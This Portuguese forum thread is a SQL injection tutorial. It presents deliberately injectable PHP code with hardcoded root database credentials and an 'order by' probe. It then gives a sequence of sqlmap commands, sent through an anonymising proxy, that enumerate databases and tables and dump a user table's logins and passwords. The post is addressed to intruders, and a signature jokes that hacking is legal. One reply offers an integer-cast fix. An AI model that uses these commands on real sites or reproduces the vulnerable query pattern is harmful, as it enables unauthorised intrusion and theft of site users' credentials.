Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Personalizando comandos SQLMAP e Analise de código PHP

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Scan Personalizando comandos SQLMAP e Analise de código PHP

    Muitas vezes tenho reparado na dificuldade que muitos tem em utilizar o sqlmap. Ou nem imaginam a ferramenta poderosa que ela é.
    Separei uma dica muito boa que ajuda muito na hora de analisar e agilizar o estudo sobre essa ferramenta.


    Lembrado que todo material disponibilizado é especificamente para estudo, e ñ me responsabilizo pelo mal uso dele !!




    SQLMAP é a uma ótima ferramenta de injeção SQL que eu já vi: feito em python, Opensource, e os comandos vão de acordo com a necessidade do invasor.
    Vamos intender como funciona á URL


    URL: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
    https :[Protocolo usado]
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... :[Domínio alvo]
    index.php :[Arquivo php onde tem os include que fazem a consulta]
    ?id :[Parâmetro GET que recebe valores para que assim faça uma consulta no BD ou validação.]
    1 :[Valor que será passado]
    Código:

    index.php?id=1
    -------------------------------INDEX.PHP-------------------------

    if($_GET['id']){
    $id = $_GET['id']; // Capturando valor GET e inserindo na variavel $id;

    require_once('include/function.php'); // Inserindo arquivo function no código atual.

    }?>

    pesquisa("noticias",$id);
    ------------------------------------------------------------------------
    Agora vamos entender como funciona o arquivo function.php

    ----------------------------FUNCTION.PHP-------------------------

    function pesquisa($tabela,$id){ //Noma da function

    $con = mysql_connect("localhost","root","123456"); // editar host, usuario, senha

    $sql = "SELECT * FROM web.{$tabela} WHERE id={$id}"; //concatenando valores, web é o banco de dados.

    $query = mysql_query($sql); //executando select

    if (!$query) { die ('ERRO!:' . mysql_error()); }//Se der algo errado.

    while($escrever=mysql_fetch_array($query)){ //Agora vamos percorrer o array.

    echo "$escrever['NOTICIA']
    ";
    //Imprimindo valor atual do campo noticia

    }

    mysql_close($con); // Fechando conexão!
    ?>

    ----------------------------------------------------------------------------
    Codigo vulneravel pois em nem um momento é feito o filtro adequado do parâmetroID assim possibilitando a modificação do sql de busca.
    Digamos se na get_['id'] o usuario inserir o seguinte valorindex.phpid?=-1 order by 50;
    Se a tabela noticias tiver menos que se 50 colunas ele vai retorno falando que não existe 50 colunas.Assim vai, o Sqlmap faz todo trabalho de injeção identificando quantidade de colunas, a versão do banco.Se as senhas estiverem em md5 o sqlmap já tem um wordlist.


    Dentro do codigo ficaria assim.
    $sql = "SELECT * FROM web.{$tabela} WHERE id={$id}";
    Valor modificado "SELECT * FROM web.noticias WHERE id=-1 order by 50;"

    Agora vamos para o sqlmap

    ./sqlmap.py --url Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... --dbs -p id -v 3 --proxy="http://localhost:8118"

    Não explicarei comandos sqlmap favor pesquisar.

    Pelo código criado o site esta vulnerável e retorna os seguintes valores.Banco de dados:

    [ * ] web
    [ * ] information_schema

    Agora queremos saber quais as tabelas do banco de dados "web".

    ./sqlmap.py --url Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... -D web -p id -v 3 --proxy="http://localhost:8118" --tablesTabelas:
    [ * ] usuario
    [ * ] noticias
    [ * ] smtp
    [ * ] blog


    Neste momento precisamos saber quais as colunas da tabela usuario.

    ./sqlmap.py --url Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... -D web -p id -v 3 --proxy="http://localhost:8118" -T usuario --columns

    +--------+--------------+
    | Column | Type |
    +--------+--------------+
    | ID | int(11) |
    | login | varchar(255) |
    | senha | varchar(255) |
    +--------+--------------+

    Logico que queres saber os usuario e senhas do site.

    ./sqlmap.py --url Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... -D web -p id -v 3 --proxy="http://localhost:8118" -T usuario -C "ID,login,senha" --dump



    Espero que gostem....

    vlw
    sigpic
    " O bom hacker todos conhecem e sabem quem é, mas o excelente hacker... esse nunca saberemos quem um dia foi."
    Nova lei - Invadir computadores protegidos é crime.
    Lógica - Se eu invadi, não é protegido. Logo, não é crime

  • Font Size
    #2
    Muito bom mesmo, vai ajudar bastante o pessoal que ta com dificuldade..

    Lembrando que pra corrigir essa falha, é só colocar um (int) antes do $_GET, pra dizer ao PHP que ele é um inteiro, recusando qualquer outra coisa que não seja um numero


    Código PHP:
    $_GET['id'] = (int)$_GET['id']; // Diz ao PHP que o ID é um numero inteiro
    if($_GET['id']){
    $id $_GET['id']; // Capturando valor GET e inserindo na variavel $id;
    require_once('include/function.php'); // Inserindo arquivo function no código atual.
    }
    ?> 
    Last edited by Nickguitar.dll; 28-03-2013, 23:36.
    .

    - PHP & VB C0d3r.

    Nickguitar.dll@hotmail.com

    http://www.youtube.com/user/superskate56 <~ Hacking tuts =)

    Quando aprendemos a ouvir, também aprendemos a falar..
    Quando aprendemos a ler, também aprendemos a escrever.
    Então, quando aprendemos a usar um computador, por que não aprender a programa-lo ?


    I'm C0ding for $$$

    #~: Just $this :~#

    Comment


    • Font Size
      #3
      Muito bom JOKER, nada mais justo doque entender a ferramente antes de usa. Sqlmap sozinho ou combinado outro programa sempre da show. Abraço

      Comment


      • Font Size
        #4
        Muito obrigado por compartilhar o seu conhecimento, belo post J0k3rTr4p... Obrigado...

        Comment

        X
        Working...
        X